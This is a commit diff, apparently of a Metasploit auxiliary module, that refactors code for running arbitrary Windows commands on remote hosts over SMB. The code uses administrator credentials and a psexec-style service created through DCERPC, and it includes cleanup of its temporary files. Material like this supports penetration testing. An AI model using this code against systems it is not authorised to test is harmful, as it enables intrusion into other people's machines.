@@ -18,13 +18,13 @@ class Metasploit3 < Msf::Auxiliary
18
18
19
19
def initialize ( info = { } )
20
20
super ( update_info ( info ,
21
- 'Name' => 'SMB - Execute Windows Command' ,
22
- 'Description' => %q{This module executes a *single* windows command on one or more hosts
23
- by authenticating over SMB and passing a dcerpc request. Daisy chaining commands wiht '&'
24
- does not work and you shouldn't try it. It steals code from the psexec
25
- module so thanks very much to the author/s of that great tool. This module is useful
26
- because it does not need to upload any binaries to the target machine and therefore
27
- should bypass most if not all Antivirus solutions
21
+ 'Name' => 'Microsoft Windows Authenticated Command Execution ' ,
22
+ 'Description' => %q{
23
+ This module uses a valid administrator username and password to execute an
24
+ arbitrary command on one or more hosts, using a similar technique than the " psexec"
25
+ utility provided by SysInternals. Daisy chaining commands wiht '&' does not work
26
+ and users shouldn't try it. This module is useful because it doesn't need to upload
27
+ any binaries to the target machine.
28
28
} ,
29
29
30
30
'Author' => [
@@ -33,7 +33,11 @@ module so thanks very much to the author/s of that great tool. This module is u
33
33
34
34
'License' => MSF_LICENSE ,
35
35
'References' => [
36
+ [ 'CVE' , '1999-0504' ] , # Administrator with no password (since this is the default)
37
+ [ 'OSVDB' , '3106' ] ,
38
+ [ 'URL' , 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ] ,
36
39
[ 'URL' , 'http://sourceforge.net/projects/smbexec/' ] ,
40
+ [ 'URL' , 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
37
41
] ,
38
42
) )
39
43
@@ -46,8 +50,6 @@ module so thanks very much to the author/s of that great tool. This module is u
46
50
deregister_options ( 'RHOST' )
47
51
end
48
52
49
-
50
-
51
53
# This is the main controle method
52
54
def run_host ( ip )
53
55
text = "\\ WINDOWS\\ Temp\\ #{ Rex ::Text . rand_text_alpha ( 16 ) } .txt"
@@ -62,33 +64,28 @@ def run_host(ip)
62
64
print_error ( "Unable to authenticate with given credentials: #{ autherror } " )
63
65
return
64
66
end
65
- if execute_command ( smbshare , ip , text , bat )
67
+ if execute_command ( ip , text , bat )
66
68
o = get_output ( smbshare , ip , text )
67
69
end
68
70
cleanup_after ( smbshare , ip , text , bat )
69
71
disconnect
70
72
end
71
73
end
72
74
73
-
74
-
75
75
# Executes specified Windows Command
76
- def execute_command ( smbshare , ip , text , bat )
76
+ def execute_command ( ip , text , bat )
77
77
begin
78
78
#Try and execute the provided command
79
79
execute = "%COMSPEC% /C echo #{ datastore [ 'COMMAND' ] } ^> %SYSTEMDRIVE%#{ text } > #{ bat } & %COMSPEC% /C start cmd.exe /C #{ bat } "
80
- simple . connect ( smbshare )
81
80
print_status ( "Executing your command on host: #{ ip } " )
82
- psexec ( smbshare , execute )
81
+ psexec ( execute )
83
82
return true
84
83
rescue StandardError => exec_command_cerror
85
84
print_error ( "#{ ip } - Unable to execute specified command: #{ exec_command_error } " )
86
85
return false
87
86
end
88
87
end
89
88
90
-
91
-
92
89
# Retrive output from command
93
90
def get_output ( smbshare , ip , file )
94
91
begin
@@ -109,16 +106,13 @@ def get_output(smbshare, ip, file)
109
106
end
110
107
end
111
108
112
-
113
-
114
109
# This is the cleanup method, removes .txt and .bat file/s created during execution-
115
110
def cleanup_after ( smbshare , ip , text , bat )
116
111
begin
117
112
# Try and do cleanup command
118
113
cleanup = "%COMSPEC% /C del %SYSTEMDRIVE%#{ text } & del #{ bat } "
119
- simple . connect ( smbshare )
120
114
print_status ( "Executing cleanup on host: #{ ip } " )
121
- psexec ( smbshare , cleanup )
115
+ psexec ( cleanup )
122
116
if !check_cleanup ( smbshare , ip , text )
123
117
print_error ( "#{ ip } - Unable to cleanup. Need to manually remove #{ text } and #{ bat } from the target." )
124
118
else
@@ -130,8 +124,6 @@ def cleanup_after(smbshare, ip, text, bat)
130
124
end
131
125
end
132
126
133
-
134
-
135
127
def check_cleanup ( smbshare , ip , text )
136
128
simple . connect ( "\\ \\ #{ ip } \\ #{ smbshare } " )
137
129
begin
@@ -148,13 +140,9 @@ def check_cleanup(smbshare, ip, text)
148
140
end
149
141
end
150
142
151
-
152
-
153
143
# This code was stolen straight out of psexec.rb. Thanks very much HDM and all who contributed to that module!!
154
- # Instead of uploading and runing a binary. This method runs a single windows command fed into the #{command} paramater
155
- def psexec ( smbshare , command )
156
- servicename = "servicename"
157
- simple . disconnect ( smbshare )
144
+ # Instead of uploading and runing a binary. This method runs a single windows command fed into the COMMAND paramater
145
+ def psexec ( command )
158
146
159
147
simple . connect ( "IPC$" )
160
148
@@ -179,7 +167,7 @@ def psexec(smbshare, command)
179
167
return
180
168
end
181
169
182
- #displayname = "displayname"
170
+ servicename = Rex :: Text . rand_text_alpha ( 11 )
183
171
displayname = Rex ::Text . rand_text_alpha ( 16 )
184
172
holdhandle = scm_handle
185
173
svc_handle = nil
@@ -203,7 +191,7 @@ def psexec(smbshare, command)
203
191
NDR . long ( 0 ) + # Password
204
192
NDR . long ( 0 ) # Password
205
193
begin
206
- vprint_status ( "Attempting to execute #{ command } " )
194
+ vprint_status ( "Creating the service... " )
207
195
response = dcerpc . call ( 0x0c , stubdata )
208
196
if ( dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil )
209
197
svc_handle = dcerpc . last_response . stub_data [ 0 , 20 ]
@@ -252,8 +240,7 @@ def psexec(smbshare, command)
252
240
253
241
vprint_status ( "Removing the service..." )
254
242
stubdata =
255
- svc_handle +
256
- NDR . wstring ( "%WINDIR%\\ Temp\\ msfcommandoutput.txt" )
243
+ svc_handle
257
244
begin
258
245
response = dcerpc . call ( 0x02 , stubdata )
259
246
if ( dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil )
@@ -269,17 +256,8 @@ def psexec(smbshare, command)
269
256
print_error ( "Error: #{ e } " )
270
257
end
271
258
272
- begin
273
- #print_status("Deleting \\#{filename}...")
274
- select ( nil , nil , nil , 1.0 )
275
- #This is not really useful but will prevent double \\ on the wire :)
276
- simple . connect ( smbshare )
277
- simple . delete ( "%WINDIR%\\ Temp\\ msfcommandoutput.txt" )
278
- rescue StandardError => psexec_cleanup_error
279
- print_error ( "Error occured cleaning up the service. #{ psexec_cleanup_error } " )
280
- end
259
+ select ( nil , nil , nil , 1.0 )
281
260
simple . disconnect ( "IPC$" )
282
- simple . disconnect ( smbshare )
283
261
end
284
262
285
263
end
0 commit comments